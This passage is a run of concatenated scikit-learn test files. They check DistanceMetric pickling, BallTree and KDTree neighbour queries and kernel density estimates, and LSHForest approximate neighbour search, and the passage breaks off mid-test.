                kwargs = dict(zip(keys, vals))
                yield self.check_pickle, metric, kwargs

        for metric in self.bool_metrics:
            yield self.check_pickle_bool, metric

    def check_pickle_bool(self, metric):
        dm = DistanceMetric.get_metric(metric)
        D1 = dm.pairwise(self.X1_bool)
        dm2 = pickle.loads(pickle.dumps(dm))
        D2 = dm2.pairwise(self.X1_bool)
        assert_array_almost_equal(D1, D2)

    def check_pickle(self, metric, kwargs):
        dm = DistanceMetric.get_metric(metric, **kwargs)
        D1 = dm.pairwise(self.X1)
        dm2 = pickle.loads(pickle.dumps(dm))
        D2 = dm2.pairwise(self.X1)
        assert_array_almost_equal(D1, D2)


def test_haversine_metric():
    def haversine_slow(x1, x2):
        return 2 * np.arcsin(np.sqrt(np.sin(0.5 * (x1[0] - x2[0])) ** 2
                                     + np.cos(x1[0]) * np.cos(x2[0]) *
                                     np.sin(0.5 * (x1[1] - x2[1])) ** 2))

    X = np.random.random((10, 2))

    haversine = DistanceMetric.get_metric("haversine")

    D1 = haversine.pairwise(X)
    D2 = np.zeros_like(D1)
    for i, x1 in enumerate(X):
        for j, x2 in enumerate(X):
            D2[i, j] = haversine_slow(x1, x2)

    assert_array_almost_equal(D1, D2)
    assert_array_almost_equal(haversine.dist_to_rdist(D1),
                              np.sin(0.5 * D2) ** 2)


def test_pyfunc_metric():
    X = np.random.random((10, 3))

    euclidean = DistanceMetric.get_metric("euclidean")
    pyfunc = DistanceMetric.get_metric("pyfunc", func=dist_func, p=2)

    # Check if both callable metric and predefined metric initialized
    # DistanceMetric object is picklable
    euclidean_pkl = pickle.loads(pickle.dumps(euclidean))
    pyfunc_pkl = pickle.loads(pickle.dumps(pyfunc))

    D1 = euclidean.pairwise(X)
    D2 = pyfunc.pairwise(X)

    D1_pkl = euclidean_pkl.pairwise(X)
    D2_pkl = pyfunc_pkl.pairwise(X)

    assert_array_almost_equal(D1, D2)
    assert_array_almost_equal(D1_pkl, D2_pkl)






import pickle
import numpy as np
from numpy.testing import assert_array_almost_equal
from sklearn.neighbors.ball_tree import (BallTree, NeighborsHeap,
                                         simultaneous_sort, kernel_norm,
                                         nodeheap_sort, DTYPE, ITYPE)
from sklearn.neighbors.dist_metrics import DistanceMetric
from sklearn.utils.testing import SkipTest, assert_allclose

rng = np.random.RandomState(10)
V = rng.rand(3, 3)
V = np.dot(V, V.T)

DIMENSION = 3

METRICS = {'euclidean': {},
           'manhattan': {},
           'minkowski': dict(p=3),
           'chebyshev': {},
           'seuclidean': dict(V=np.random.random(DIMENSION)),
           'wminkowski': dict(p=3, w=np.random.random(DIMENSION)),
           'mahalanobis': dict(V=V)}

DISCRETE_METRICS = ['hamming',
                    'canberra',
                    'braycurtis']

BOOLEAN_METRICS = ['matching', 'jaccard', 'dice', 'kulsinski',
                   'rogerstanimoto', 'russellrao', 'sokalmichener',
                   'sokalsneath']


def dist_func(x1, x2, p):
    return np.sum((x1 - x2) ** p) ** (1. / p)


def brute_force_neighbors(X, Y, k, metric, **kwargs):
    D = DistanceMetric.get_metric(metric, **kwargs).pairwise(Y, X)
    ind = np.argsort(D, axis=1)[:, :k]
    dist = D[np.arange(Y.shape[0])[:, None], ind]
    return dist, ind


def test_ball_tree_query():
    np.random.seed(0)
    X = np.random.random((40, DIMENSION))
    Y = np.random.random((10, DIMENSION))

    def check_neighbors(dualtree, breadth_first, k, metric, kwargs):
        bt = BallTree(X, leaf_size=1, metric=metric, **kwargs)
        dist1, ind1 = bt.query(Y, k, dualtree=dualtree,
                               breadth_first=breadth_first)
        dist2, ind2 = brute_force_neighbors(X, Y, k, metric, **kwargs)

        # don't check indices here: if there are any duplicate distances,
        # the indices may not match.  Distances should not have this problem.
        assert_array_almost_equal(dist1, dist2)

    for (metric, kwargs) in METRICS.items():
        for k in (1, 3, 5):
            for dualtree in (True, False):
                for breadth_first in (True, False):
                    yield (check_neighbors,
                           dualtree, breadth_first,
                           k, metric, kwargs)


def test_ball_tree_query_boolean_metrics():
    np.random.seed(0)
    X = np.random.random((40, 10)).round(0)
    Y = np.random.random((10, 10)).round(0)
    k = 5

    def check_neighbors(metric):
        bt = BallTree(X, leaf_size=1, metric=metric)
        dist1, ind1 = bt.query(Y, k)
        dist2, ind2 = brute_force_neighbors(X, Y, k, metric)
        assert_array_almost_equal(dist1, dist2)

    for metric in BOOLEAN_METRICS:
        yield check_neighbors, metric


def test_ball_tree_query_discrete_metrics():
    np.random.seed(0)
    X = (4 * np.random.random((40, 10))).round(0)
    Y = (4 * np.random.random((10, 10))).round(0)
    k = 5

    def check_neighbors(metric):
        bt = BallTree(X, leaf_size=1, metric=metric)
        dist1, ind1 = bt.query(Y, k)
        dist2, ind2 = brute_force_neighbors(X, Y, k, metric)
        assert_array_almost_equal(dist1, dist2)

    for metric in DISCRETE_METRICS:
        yield check_neighbors, metric


def test_ball_tree_query_radius(n_samples=100, n_features=10):
    np.random.seed(0)
    X = 2 * np.random.random(size=(n_samples, n_features)) - 1
    query_pt = np.zeros(n_features, dtype=float)

    eps = 1E-15  # roundoff error can cause test to fail
    bt = BallTree(X, leaf_size=5)
    rad = np.sqrt(((X - query_pt) ** 2).sum(1))

    for r in np.linspace(rad[0], rad[-1], 100):
        ind = bt.query_radius([query_pt], r + eps)[0]
        i = np.where(rad <= r + eps)[0]

        ind.sort()
        i.sort()

        assert_array_almost_equal(i, ind)


def test_ball_tree_query_radius_distance(n_samples=100, n_features=10):
    np.random.seed(0)
    X = 2 * np.random.random(size=(n_samples, n_features)) - 1
    query_pt = np.zeros(n_features, dtype=float)

    eps = 1E-15  # roundoff error can cause test to fail
    bt = BallTree(X, leaf_size=5)
    rad = np.sqrt(((X - query_pt) ** 2).sum(1))

    for r in np.linspace(rad[0], rad[-1], 100):
        ind, dist = bt.query_radius([query_pt], r + eps, return_distance=True)

        ind = ind[0]
        dist = dist[0]

        d = np.sqrt(((query_pt - X[ind]) ** 2).sum(1))

        assert_array_almost_equal(d, dist)


def compute_kernel_slow(Y, X, kernel, h):
    d = np.sqrt(((Y[:, None, :] - X) ** 2).sum(-1))
    norm = kernel_norm(h, X.shape[1], kernel)

    if kernel == 'gaussian':
        return norm * np.exp(-0.5 * (d * d) / (h * h)).sum(-1)
    elif kernel == 'tophat':
        return norm * (d < h).sum(-1)
    elif kernel == 'epanechnikov':
        return norm * ((1.0 - (d * d) / (h * h)) * (d < h)).sum(-1)
    elif kernel == 'exponential':
        return norm * (np.exp(-d / h)).sum(-1)
    elif kernel == 'linear':
        return norm * ((1 - d / h) * (d < h)).sum(-1)
    elif kernel == 'cosine':
        return norm * (np.cos(0.5 * np.pi * d / h) * (d < h)).sum(-1)
    else:
        raise ValueError('kernel not recognized')


def test_ball_tree_kde(n_samples=100, n_features=3):
    np.random.seed(0)
    X = np.random.random((n_samples, n_features))
    Y = np.random.random((n_samples, n_features))
    bt = BallTree(X, leaf_size=10)

    for kernel in ['gaussian', 'tophat', 'epanechnikov',
                   'exponential', 'linear', 'cosine']:
        for h in [0.01, 0.1, 1]:
            dens_true = compute_kernel_slow(Y, X, kernel, h)

            def check_results(kernel, h, atol, rtol, breadth_first):
                dens = bt.kernel_density(Y, h, atol=atol, rtol=rtol,
                                         kernel=kernel,
                                         breadth_first=breadth_first)
                assert_allclose(dens, dens_true,
                                atol=atol, rtol=max(rtol, 1e-7))

            for rtol in [0, 1E-5]:
                for atol in [1E-6, 1E-2]:
                    for breadth_first in (True, False):
                        yield (check_results, kernel, h, atol, rtol,
                               breadth_first)


def test_gaussian_kde(n_samples=1000):
    # Compare gaussian KDE results to scipy.stats.gaussian_kde
    from scipy.stats import gaussian_kde
    np.random.seed(0)
    x_in = np.random.normal(0, 1, n_samples)
    x_out = np.linspace(-5, 5, 30)

    for h in [0.01, 0.1, 1]:
        bt = BallTree(x_in[:, None])
        try:
            gkde = gaussian_kde(x_in, bw_method=h / np.std(x_in))
        except TypeError:
            raise SkipTest("Old version of scipy, doesn't accept "
                           "explicit bandwidth.")

        dens_bt = bt.kernel_density(x_out[:, None], h) / n_samples
        dens_gkde = gkde.evaluate(x_out)

        assert_array_almost_equal(dens_bt, dens_gkde, decimal=3)


def test_ball_tree_two_point(n_samples=100, n_features=3):
    np.random.seed(0)
    X = np.random.random((n_samples, n_features))
    Y = np.random.random((n_samples, n_features))
    r = np.linspace(0, 1, 10)
    bt = BallTree(X, leaf_size=10)

    D = DistanceMetric.get_metric("euclidean").pairwise(Y, X)
    counts_true = [(D <= ri).sum() for ri in r]

    def check_two_point(r, dualtree):
        counts = bt.two_point_correlation(Y, r=r, dualtree=dualtree)
        assert_array_almost_equal(counts, counts_true)

    for dualtree in (True, False):
        yield check_two_point, r, dualtree


def test_ball_tree_pickle():
    np.random.seed(0)
    X = np.random.random((10, 3))

    bt1 = BallTree(X, leaf_size=1)
    # Test if BallTree with callable metric is picklable
    bt1_pyfunc = BallTree(X, metric=dist_func, leaf_size=1, p=2)

    ind1, dist1 = bt1.query(X)
    ind1_pyfunc, dist1_pyfunc = bt1_pyfunc.query(X)

    def check_pickle_protocol(protocol):
        s = pickle.dumps(bt1, protocol=protocol)
        bt2 = pickle.loads(s)

        s_pyfunc = pickle.dumps(bt1_pyfunc, protocol=protocol)
        bt2_pyfunc = pickle.loads(s_pyfunc)

        ind2, dist2 = bt2.query(X)
        ind2_pyfunc, dist2_pyfunc = bt2_pyfunc.query(X)

        assert_array_almost_equal(ind1, ind2)
        assert_array_almost_equal(dist1, dist2)

        assert_array_almost_equal(ind1_pyfunc, ind2_pyfunc)
        assert_array_almost_equal(dist1_pyfunc, dist2_pyfunc)

    for protocol in (0, 1, 2):
        yield check_pickle_protocol, protocol


def test_neighbors_heap(n_pts=5, n_nbrs=10):
    heap = NeighborsHeap(n_pts, n_nbrs)

    for row in range(n_pts):
        d_in = np.random.random(2 * n_nbrs).astype(DTYPE)
        i_in = np.arange(2 * n_nbrs, dtype=ITYPE)
        for d, i in zip(d_in, i_in):
            heap.push(row, d, i)

        ind = np.argsort(d_in)
        d_in = d_in[ind]
        i_in = i_in[ind]

        d_heap, i_heap = heap.get_arrays(sort=True)

        assert_array_almost_equal(d_in[:n_nbrs], d_heap[row])
        assert_array_almost_equal(i_in[:n_nbrs], i_heap[row])


def test_node_heap(n_nodes=50):
    vals = np.random.random(n_nodes).astype(DTYPE)

    i1 = np.argsort(vals)
    vals2, i2 = nodeheap_sort(vals)

    assert_array_almost_equal(i1, i2)
    assert_array_almost_equal(vals[i1], vals2)


def test_simultaneous_sort(n_rows=10, n_pts=201):
    dist = np.random.random((n_rows, n_pts)).astype(DTYPE)
    ind = (np.arange(n_pts) + np.zeros((n_rows, 1))).astype(ITYPE)

    dist2 = dist.copy()
    ind2 = ind.copy()

    # simultaneous sort rows using function
    simultaneous_sort(dist, ind)

    # simultaneous sort rows using numpy
    i = np.argsort(dist2, axis=1)
    row_ind = np.arange(n_rows)[:, None]
    dist2 = dist2[row_ind, i]
    ind2 = ind2[row_ind, i]

    assert_array_almost_equal(dist, dist2)
    assert_array_almost_equal(ind, ind2)


def test_query_haversine():
    np.random.seed(0)
    X = 2 * np.pi * np.random.random((40, 2))
    bt = BallTree(X, leaf_size=1, metric='haversine')
    dist1, ind1 = bt.query(X, k=5)
    dist2, ind2 = brute_force_neighbors(X, X, k=5, metric='haversine')

    assert_array_almost_equal(dist1, dist2)
    assert_array_almost_equal(ind1, ind2)






import numpy as np
from numpy.testing import assert_array_almost_equal
from sklearn.neighbors.kd_tree import (KDTree, NeighborsHeap,
                                       simultaneous_sort, kernel_norm,
                                       nodeheap_sort, DTYPE, ITYPE)
from sklearn.neighbors.dist_metrics import DistanceMetric
from sklearn.utils.testing import SkipTest, assert_allclose

V = np.random.random((3, 3))
V = np.dot(V, V.T)

DIMENSION = 3

METRICS = {'euclidean': {},
           'manhattan': {},
           'chebyshev': {},
           'minkowski': dict(p=3)}


def brute_force_neighbors(X, Y, k, metric, **kwargs):
    D = DistanceMetric.get_metric(metric, **kwargs).pairwise(Y, X)
    ind = np.argsort(D, axis=1)[:, :k]
    dist = D[np.arange(Y.shape[0])[:, None], ind]
    return dist, ind


def test_kd_tree_query():
    np.random.seed(0)
    X = np.random.random((40, DIMENSION))
    Y = np.random.random((10, DIMENSION))

    def check_neighbors(dualtree, breadth_first, k, metric, kwargs):
        kdt = KDTree(X, leaf_size=1, metric=metric, **kwargs)
        dist1, ind1 = kdt.query(Y, k, dualtree=dualtree,
                                breadth_first=breadth_first)
        dist2, ind2 = brute_force_neighbors(X, Y, k, metric, **kwargs)

        # don't check indices here: if there are any duplicate distances,
        # the indices may not match.  Distances should not have this problem.
        assert_array_almost_equal(dist1, dist2)

    for (metric, kwargs) in METRICS.items():
        for k in (1, 3, 5):
            for dualtree in (True, False):
                for breadth_first in (True, False):
                    yield (check_neighbors,
                           dualtree, breadth_first,
                           k, metric, kwargs)


def test_kd_tree_query_radius(n_samples=100, n_features=10):
    np.random.seed(0)
    X = 2 * np.random.random(size=(n_samples, n_features)) - 1
    query_pt = np.zeros(n_features, dtype=float)

    eps = 1E-15  # roundoff error can cause test to fail
    kdt = KDTree(X, leaf_size=5)
    rad = np.sqrt(((X - query_pt) ** 2).sum(1))

    for r in np.linspace(rad[0], rad[-1], 100):
        ind = kdt.query_radius([query_pt], r + eps)[0]
        i = np.where(rad <= r + eps)[0]

        ind.sort()
        i.sort()

        assert_array_almost_equal(i, ind)


def test_kd_tree_query_radius_distance(n_samples=100, n_features=10):
    np.random.seed(0)
    X = 2 * np.random.random(size=(n_samples, n_features)) - 1
    query_pt = np.zeros(n_features, dtype=float)

    eps = 1E-15  # roundoff error can cause test to fail
    kdt = KDTree(X, leaf_size=5)
    rad = np.sqrt(((X - query_pt) ** 2).sum(1))

    for r in np.linspace(rad[0], rad[-1], 100):
        ind, dist = kdt.query_radius([query_pt], r + eps, return_distance=True)

        ind = ind[0]
        dist = dist[0]

        d = np.sqrt(((query_pt - X[ind]) ** 2).sum(1))

        assert_array_almost_equal(d, dist)


def compute_kernel_slow(Y, X, kernel, h):
    d = np.sqrt(((Y[:, None, :] - X) ** 2).sum(-1))
    norm = kernel_norm(h, X.shape[1], kernel)

    if kernel == 'gaussian':
        return norm * np.exp(-0.5 * (d * d) / (h * h)).sum(-1)
    elif kernel == 'tophat':
        return norm * (d < h).sum(-1)
    elif kernel == 'epanechnikov':
        return norm * ((1.0 - (d * d) / (h * h)) * (d < h)).sum(-1)
    elif kernel == 'exponential':
        return norm * (np.exp(-d / h)).sum(-1)
    elif kernel == 'linear':
        return norm * ((1 - d / h) * (d < h)).sum(-1)
    elif kernel == 'cosine':
        return norm * (np.cos(0.5 * np.pi * d / h) * (d < h)).sum(-1)
    else:
        raise ValueError('kernel not recognized')


def test_kd_tree_kde(n_samples=100, n_features=3):
    np.random.seed(0)
    X = np.random.random((n_samples, n_features))
    Y = np.random.random((n_samples, n_features))
    kdt = KDTree(X, leaf_size=10)

    for kernel in ['gaussian', 'tophat', 'epanechnikov',
                   'exponential', 'linear', 'cosine']:
        for h in [0.01, 0.1, 1]:
            dens_true = compute_kernel_slow(Y, X, kernel, h)

            def check_results(kernel, h, atol, rtol, breadth_first):
                dens = kdt.kernel_density(Y, h, atol=atol, rtol=rtol,
                                          kernel=kernel,
                                          breadth_first=breadth_first)
                assert_allclose(dens, dens_true, atol=atol,
                                rtol=max(rtol, 1e-7))

            for rtol in [0, 1E-5]:
                for atol in [1E-6, 1E-2]:
                    for breadth_first in (True, False):
                        yield (check_results, kernel, h, atol, rtol,
                               breadth_first)


def test_gaussian_kde(n_samples=1000):
    # Compare gaussian KDE results to scipy.stats.gaussian_kde
    from scipy.stats import gaussian_kde
    np.random.seed(0)
    x_in = np.random.normal(0, 1, n_samples)
    x_out = np.linspace(-5, 5, 30)

    for h in [0.01, 0.1, 1]:
        kdt = KDTree(x_in[:, None])
        try:
            gkde = gaussian_kde(x_in, bw_method=h / np.std(x_in))
        except TypeError:
            raise SkipTest("Old scipy, does not accept explicit bandwidth.")

        dens_kdt = kdt.kernel_density(x_out[:, None], h) / n_samples
        dens_gkde = gkde.evaluate(x_out)

        assert_array_almost_equal(dens_kdt, dens_gkde, decimal=3)


def test_kd_tree_two_point(n_samples=100, n_features=3):
    np.random.seed(0)
    X = np.random.random((n_samples, n_features))
    Y = np.random.random((n_samples, n_features))
    r = np.linspace(0, 1, 10)
    kdt = KDTree(X, leaf_size=10)

    D = DistanceMetric.get_metric("euclidean").pairwise(Y, X)
    counts_true = [(D <= ri).sum() for ri in r]

    def check_two_point(r, dualtree):
        counts = kdt.two_point_correlation(Y, r=r, dualtree=dualtree)
        assert_array_almost_equal(counts, counts_true)

    for dualtree in (True, False):
        yield check_two_point, r, dualtree


def test_kd_tree_pickle():
    import pickle
    np.random.seed(0)
    X = np.random.random((10, 3))
    kdt1 = KDTree(X, leaf_size=1)
    ind1, dist1 = kdt1.query(X)

    def check_pickle_protocol(protocol):
        s = pickle.dumps(kdt1, protocol=protocol)
        kdt2 = pickle.loads(s)
        ind2, dist2 = kdt2.query(X)
        assert_array_almost_equal(ind1, ind2)
        assert_array_almost_equal(dist1, dist2)

    for protocol in (0, 1, 2):
        yield check_pickle_protocol, protocol


def test_neighbors_heap(n_pts=5, n_nbrs=10):
    heap = NeighborsHeap(n_pts, n_nbrs)

    for row in range(n_pts):
        d_in = np.random.random(2 * n_nbrs).astype(DTYPE)
        i_in = np.arange(2 * n_nbrs, dtype=ITYPE)
        for d, i in zip(d_in, i_in):
            heap.push(row, d, i)

        ind = np.argsort(d_in)
        d_in = d_in[ind]
        i_in = i_in[ind]

        d_heap, i_heap = heap.get_arrays(sort=True)

        assert_array_almost_equal(d_in[:n_nbrs], d_heap[row])
        assert_array_almost_equal(i_in[:n_nbrs], i_heap[row])


def test_node_heap(n_nodes=50):
    vals = np.random.random(n_nodes).astype(DTYPE)

    i1 = np.argsort(vals)
    vals2, i2 = nodeheap_sort(vals)

    assert_array_almost_equal(i1, i2)
    assert_array_almost_equal(vals[i1], vals2)


def test_simultaneous_sort(n_rows=10, n_pts=201):
    dist = np.random.random((n_rows, n_pts)).astype(DTYPE)
    ind = (np.arange(n_pts) + np.zeros((n_rows, 1))).astype(ITYPE)

    dist2 = dist.copy()
    ind2 = ind.copy()

    # simultaneous sort rows using function
    simultaneous_sort(dist, ind)

    # simultaneous sort rows using numpy
    i = np.argsort(dist2, axis=1)
    row_ind = np.arange(n_rows)[:, None]
    dist2 = dist2[row_ind, i]
    ind2 = ind2[row_ind, i]

    assert_array_almost_equal(dist, dist2)
    assert_array_almost_equal(ind, ind2)






"""
Testing for the approximate neighbor search using
Locality Sensitive Hashing Forest module
(sklearn.neighbors.LSHForest).
"""

# Author: Maheshakya Wijewardena, Joel Nothman

import numpy as np
import scipy.sparse as sp

from sklearn.utils.testing import assert_array_equal
from sklearn.utils.testing import assert_almost_equal
from sklearn.utils.testing import assert_array_almost_equal
from sklearn.utils.testing import assert_equal
from sklearn.utils.testing import assert_raises
from sklearn.utils.testing import assert_array_less
from sklearn.utils.testing import assert_greater
from sklearn.utils.testing import assert_true
from sklearn.utils.testing import assert_not_equal
from sklearn.utils.testing import assert_warns_message
from sklearn.utils.testing import ignore_warnings

from sklearn.metrics.pairwise import pairwise_distances
from sklearn.neighbors import LSHForest
from sklearn.neighbors import NearestNeighbors


def test_neighbors_accuracy_with_n_candidates():
    # Checks whether accuracy increases as `n_candidates` increases.
    n_candidates_values = np.array([.1, 50, 500])
    n_samples = 100
    n_features = 10
    n_iter = 10
    n_points = 5
    rng = np.random.RandomState(42)
    accuracies = np.zeros(n_candidates_values.shape[0], dtype=float)
    X = rng.rand(n_samples, n_features)

    for i, n_candidates in enumerate(n_candidates_values):
        lshf = LSHForest(n_candidates=n_candidates)
        ignore_warnings(lshf.fit)(X)
        for j in range(n_iter):
            query = X[rng.randint(0, n_samples)].reshape(1, -1)

            neighbors = lshf.kneighbors(query, n_neighbors=n_points,
                                        return_distance=False)
            distances = pairwise_distances(query, X, metric='cosine')
            ranks = np.argsort(distances)[0, :n_points]

            intersection = np.intersect1d(ranks, neighbors).shape[0]
            ratio = intersection / float(n_points)
            accuracies[i] = accuracies[i] + ratio

        accuracies[i] = accuracies[i] / float(n_iter)
    # Sorted accuracies should be equal to original accuracies
    assert_true(np.all(np.diff(accuracies) >= 0),
                msg="Accuracies are not non-decreasing.")
    # Highest accuracy should be strictly greater than the lowest
    assert_true(np.ptp(accuracies) > 0,
                msg="Highest accuracy is not strictly greater than lowest.")


def test_neighbors_accuracy_with_n_estimators():
    # Checks whether accuracy increases as `n_estimators` increases.
    n_estimators = np.array([1, 10, 100])
    n_samples = 100
    n_features = 10
    n_iter = 10
    n_points = 5
    rng = np.random.RandomState(42)
    accuracies = np.zeros(n_estimators.shape[0], dtype=float)
    X = rng.rand(n_samples, n_features)

    for i, t in enumerate(n_estimators):
        lshf = LSHForest(n_candidates=500, n_estimators=t)
        ignore_warnings(lshf.fit)(X)
        for j in range(n_iter):
            query = X[rng.randint(0, n_samples)].reshape(1, -1)
            neighbors = lshf.kneighbors(query, n_neighbors=n_points,
                                        return_distance=False)
            distances = pairwise_distances(query, X, metric='cosine')
            ranks = np.argsort(distances)[0, :n_points]

            intersection = np.intersect1d(ranks, neighbors).shape[0]
            ratio = intersection / float(n_points)
            accuracies[i] = accuracies[i] + ratio

        accuracies[i] = accuracies[i] / float(n_iter)
    # Sorted accuracies should be equal to original accuracies
    assert_true(np.all(np.diff(accuracies) >= 0),
                msg="Accuracies are not non-decreasing.")
    # Highest accuracy should be strictly greater than the lowest
    assert_true(np.ptp(accuracies) > 0,
                msg="Highest accuracy is not strictly greater than lowest.")


@ignore_warnings
def test_kneighbors():
    # Checks whether desired number of neighbors are returned.
    # It is guaranteed to return the requested number of neighbors
    # if `min_hash_match` is set to 0. Returned distances should be
    # in ascending order.
    n_samples = 12
    n_features = 2
    n_iter = 10
    rng = np.random.RandomState(42)
    X = rng.rand(n_samples, n_features)

    lshf = LSHForest(min_hash_match=0)
    # Test unfitted estimator
    assert_raises(ValueError, lshf.kneighbors, X[0])

    ignore_warnings(lshf.fit)(X)

    for i in range(n_iter):
        n_neighbors = rng.randint(0, n_samples)
        query = X[rng.randint(0, n_samples)].reshape(1, -1)
        neighbors = lshf.kneighbors(query, n_neighbors=n_neighbors,
                                    return_distance=False)
        # Desired number of neighbors should be returned.
        assert_equal(neighbors.shape[1], n_neighbors)

    # Multiple points
    n_queries = 5
    queries = X[rng.randint(0, n_samples, n_queries)]
    distances, neighbors = lshf.kneighbors(queries,
                                           n_neighbors=1,
                                           return_distance=True)
    assert_equal(neighbors.shape[0], n_queries)
    assert_equal(distances.shape[0], n_queries)
    # Test only neighbors
    neighbors = lshf.kneighbors(queries, n_neighbors=1,
                                return_distance=False)
    assert_equal(neighbors.shape[0], n_queries)
    # Test random point(not in the data set)
    query = rng.randn(n_features).reshape(1, -1)
    lshf.kneighbors(query, n_neighbors=1,
                    return_distance=False)
    # Test n_neighbors at initialization
    neighbors = lshf.kneighbors(query, return_distance=False)
    assert_equal(neighbors.shape[1], 5)
    # Test `neighbors` has an integer dtype
    assert_true(neighbors.dtype.kind == 'i',
                msg="neighbors are not in integer dtype.")


def test_radius_neighbors():
    # Checks whether Returned distances are less than `radius`
    # At least one point should be returned when the `radius` is set
    # to mean distance from the considering point to other points in
    # the database.
    # Moreover, this test compares the radius neighbors of LSHForest
    # with the `sklearn.neighbors.NearestNeighbors`.
    n_samples = 12
    n_features = 2
    n_iter = 10
    rng = np.random.RandomState(42)
    X = rng.rand(n_samples, n_features)

    lshf = LSHForest()
    # Test unfitted estimator
    assert_raises(ValueError, lshf.radius_neighbors, X[0])

    ignore_warnings(lshf.fit)(X)

    for i in range(n_iter):
        # Select a random point in the dataset as the query
        query = X[rng.randint(0, n_samples)].reshape(1, -1)

        # At least one neighbor should be returned when the radius is the
        # mean distance from the query to the points of the dataset.
        mean_dist = np.mean(pairwise_distances(query, X, metric='cosine'))
        neighbors = lshf.radius_neighbors(query, radius=mean_dist,
                                          return_distance=False)

        assert_equal(neighbors.shape, (1,))
        assert_equal(neighbors.dtype, object)
        assert_greater(neighbors[0].shape[0], 0)
        # All distances to points in the results of the radius query should
        # be less than mean_dist
        distances, neighbors = lshf.radius_neighbors(query,
                                                     radius=mean_dist,
                                                     return_distance=True)
        assert_array_less(distances[0], mean_dist)

    # Multiple points
    n_queries = 5
    queries = X[rng.randint(0, n_samples, n_queries)]
    distances, neighbors = lshf.radius_neighbors(queries,
                                                 return_distance=True)

    # dists and inds should not be 1D arrays or arrays of variable lengths
    # hence the use of the object dtype.
    assert_equal(distances.shape, (n_queries,))
    assert_equal(distances.dtype, object)
    assert_equal(neighbors.shape, (n_queries,))
    assert_equal(neighbors.dtype, object)

    # Compare with exact neighbor search
    query = X[rng.randint(0, n_samples)].reshape(1, -1)
    mean_dist = np.mean(pairwise_distances(query, X, metric='cosine'))
    nbrs = NearestNeighbors(algorithm='brute', metric='cosine').fit(X)

    distances_exact, _ = nbrs.radius_neighbors(query, radius=mean_dist)
    distances_approx, _ = lshf.radius_neighbors(query, radius=mean_dist)

    # Radius-based queries do not sort the result points and the order
    # depends on the method, the random_state and the dataset order. Therefore
    # we need to sort the results ourselves before performing any comparison.
    sorted_dists_exact = np.sort(distances_exact[0])
    sorted_dists_approx = np.sort(distances_approx[0])

    # Distances to exact neighbors are less than or equal to approximate
    # counterparts as the approximate radius query might have missed some
    # closer neighbors.
    assert_true(np.all(np.less_equal(sorted_dists_exact,
                                     sorted_dists_approx)))


@ignore_warnings
def test_radius_neighbors_boundary_handling():
    X = [[0.999, 0.001], [0.5, 0.5], [0, 1.], [-1., 0.001]]
    n_points = len(X)

    # Build an exact nearest neighbors model as reference model to ensure
    # consistency between exact and approximate methods
    nnbrs = NearestNeighbors(algorithm='brute', metric='cosine').fit(X)

    # Build a LSHForest model with hyperparameter values that always guarantee
    # exact results on this toy dataset.
    lsfh = LSHForest(min_hash_match=0, n_candidates=n_points).fit(X)

    # define a query aligned with the first axis
    query = [[1., 0.]]

    # Compute the exact cosine distances of the query to the four points of
    # the dataset
    dists = pairwise_distances(query, X, metric='cosine').ravel()

    # The first point is almost aligned with the query (very small angle),
    # the cosine distance should therefore be almost null:
    assert_almost_equal(dists[0], 0, decimal=5)

    # The second point form an angle of 45 degrees to the query vector
    assert_almost_equal(dists[1], 1 - np.cos(np.pi / 4))

    # The third point is orthogonal from the query vector hence at a distance
    # exactly one:
    assert_almost_equal(dists[2], 1)

    # The last point is almost colinear but with opposite sign to the query
    # therefore it has a cosine 'distance' very close to the maximum possible
    # value of 2.
    assert_almost_equal(dists[3], 2, decimal=5)

    # If we query with a radius of one, all the samples except the last sample
    # should be included in the results. This means that the third sample
    # is lying on the boundary of the radius query:
    exact_dists, exact_idx = nnbrs.radius_neighbors(query, radius=1)
    approx_dists, approx_idx = lsfh.radius_neighbors(query, radius=1)

    assert_array_equal(np.sort(exact_idx[0]), [0, 1, 2])
    assert_array_equal(np.sort(approx_idx[0]), [0, 1, 2])
    assert_array_almost_equal(np.sort(exact_dists[0]), dists[:-1])
    assert_array_almost_equal(np.sort(approx_dists[0]), dists[:-1])

    # If we perform the same query with a slightly lower radius, the third
    # point of the dataset that lay on the boundary of the previous query
    # is now rejected:
    eps = np.finfo(np.float64).eps
    exact_dists, exact_idx = nnbrs.radius_neighbors(query, radius=1 - eps)
    approx_dists, approx_idx = lsfh.radius_neighbors(query, radius=1 - eps)

    assert_array_equal(np.sort(exact_idx[0]), [0, 1])
    assert_array_equal(np.sort(approx_idx[0]), [0, 1])
    assert_array_almost_equal(np.sort(exact_dists[0]), dists[:-2])
    assert_array_almost_equal(np.sort(approx_dists[0]), dists[:-2])


def test_distances():
    # Checks whether returned neighbors are from closest to farthest.
    n_samples = 12
    n_features = 2
    n_iter = 10
    rng = np.random.RandomState(42)
    X = rng.rand(n_samples, n_features)

    lshf = LSHForest()
    ignore_warnings(lshf.fit)(X)

    for i in range(n_iter):
        n_neighbors = rng.randint(0, n_samples)
        query = X[rng.randint(0, n_samples)].reshape(1, -1)
        distances, neighbors = lshf.kneighbors(query,
                                               n_neighbors=n_neighbors,
                                               return_distance=True)

        # Returned neighbors should be from closest to farthest, that is
        # increasing distance values.
        assert_true(np.all(np.diff(distances[0]) >= 0))

        # Note: the radius_neighbors method does not guarantee the order of
        # the results.


def test_fit():
    # Checks whether `fit` method sets all attribute values correctly.
    n_samples = 12
    n_features = 2
    n_estimators = 5
    rng = np.random.RandomState(42)
    X = rng.rand(n_samples, n_features)

    lshf = LSHForest(n_estimators=n_estimators)
    ignore_warnings(lshf.fit)(X)

    # _input_array = X
    assert_array_equal(X, lshf._fit_X)
    # A hash function g(p) for each tree
    assert_equal(n_estimators, len(lshf.hash_functions_))
    # Hash length = 32
    assert_equal(32, lshf.hash_functions_[0].components_.shape[0])
    # Number of trees_ in the forest
    assert_equal(n_estimators, len(lshf.trees_))
    # Each tree has entries for every data point
    assert_equal(n_samples, len(lshf.trees_[0]))
    # Original indices after sorting the hashes
    assert_equal(n_estimators, len(lshf.original_indices_))
    # Each set of original indices in a tree has entries for every data point
    assert_equal(n_samples, len(lshf.original_indices_[0]))


def test_partial_fit():
    # Checks whether inserting array is consistent with fitted data.
    # `partial_fit` method should set all attribute values correctly.
    n_samples = 12
    n_samples_partial_fit = 3
    n_features = 2
    rng = np.random.RandomState(42)
    X = rng.rand(n_samples, n_features)
    X_partial_fit = rng.rand(n_samples_partial_fit, n_features)

    lshf = LSHForest()

    # Test unfitted estimator
    ignore_warnings(lshf.partial_fit)(X)
    assert_array_equal(X, lshf._fit_X)

    ignore_warnings(lshf.fit)(X)

    # Insert wrong dimension
